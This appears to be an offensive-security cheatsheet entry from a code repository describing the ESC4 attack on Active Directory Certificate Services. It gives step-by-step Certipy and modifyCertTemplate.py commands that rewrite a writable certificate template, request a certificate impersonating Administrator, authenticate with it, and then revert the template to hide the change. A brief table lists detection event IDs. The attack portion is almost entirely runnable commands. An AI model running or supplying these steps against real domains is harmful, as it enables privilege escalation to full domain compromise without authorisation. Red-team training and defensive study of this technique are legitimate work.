repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-30-esc4-template-write-permissions.mdMarkdown121 lines4.8 KiBsource raw download

title: "Attack #30 โ€” ESC4 Template Write Permissions" description: "ESC4 exploits overly permissive ACLs on certificate templates. If a low-privileged user has WriteProperty, WriteDACL, WriteOwner, or FullControl on aโ€ฆ" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs", "privilege-escalation"] tools: ["Certipy"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Four/๐ŸŸข Attack #30 โ€” ESC4 Template Write Permissions.md"#

๐ŸŸข Attack #30 โ€” ESC4: Template Write Permissions#


๐Ÿ“– How It Works#

ESC4 exploits overly permissive ACLs on certificate templates. If a low-privileged user has WriteProperty, WriteDACL, WriteOwner, or FullControl on a template object, they can modify that template's configuration to make it vulnerable to ESC1 โ€” enabling the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag, adding Client Authentication EKU, and removing approval requirements. Once modified, the attacker enrolls using the now-vulnerable template to get a certificate for any user.

The Attack Flow#

1. Find a template where you have write permissions
2. Modify the template:
   - Enable ENROLLEE_SUPPLIES_SUBJECT (allows SAN specification)
   - Set EKU to Client Authentication
   - Disable Manager Approval
   - Disable Authorized Signatures
3. Request certificate with SAN = Administrator
4. Authenticate as Administrator
5. Revert template changes (cleanup)

โš™๏ธ Prerequisites#

Requirement Detail
Write permissions on template WriteProperty, WriteDACL, WriteOwner, or FullControl
Enrollment rights Must also be able to enroll for the template

๐Ÿ’ป Full Commands#

๐Ÿ”ต Enumerate Writable Templates#

# โ”€โ”€ Certipy โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC4 โ€” template ACL allows modification

# โ”€โ”€ modifyCertTemplate.py โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -template VulnTemplate -get-acl

๐Ÿ”ด Modify Template โ†’ Convert to ESC1#

# โ”€โ”€ Certipy โ€” modify template to be ESC1-vulnerable โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# Save current config first:
certipy template -u low_user@corp.local -p 'Password1' \
  -template VulnTemplate -save-old -dc-ip 10.10.10.10

# Modify to ESC1:
certipy template -u low_user@corp.local -p 'Password1' \
  -template VulnTemplate -dc-ip 10.10.10.10 \
  -configuration ESC1

# โ”€โ”€ Alternative: modifyCertTemplate.py โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -template VulnTemplate \
  -add enrollee_supplies_subject \
  -add client_authentication

๐Ÿ”ด Exploit as ESC1#

# โ”€โ”€ Request certificate with SAN = Administrator โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -template VulnTemplate -upn Administrator@corp.local -dc-ip 10.10.10.10

# โ”€โ”€ Authenticate โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

๐Ÿ”ด Cleanup โ€” Revert Template#

# โ”€โ”€ Restore original template configuration โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
certipy template -u low_user@corp.local -p 'Password1' \
  -template VulnTemplate -dc-ip 10.10.10.10 -configuration VulnTemplate.json

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4899 Security Log (CA) Certificate template modification
5136 Security Log (DC) AD object modification (template object in CN=Certificate Templates)

๐Ÿ”— Attack Chain Context#

[ESC4] โ”€โ”€โ†’ Write access on template โ†’ convert to ESC1 โ†’ domain compromise
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Converts any writable template into ESC1
         โ”œโ”€โ”€โ†’ ๐Ÿ“‹ Always revert changes after exploitation
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: restrict template ACLs, monitor 4899/5136

โœ… Attack #30 โ€” ESC4 complete.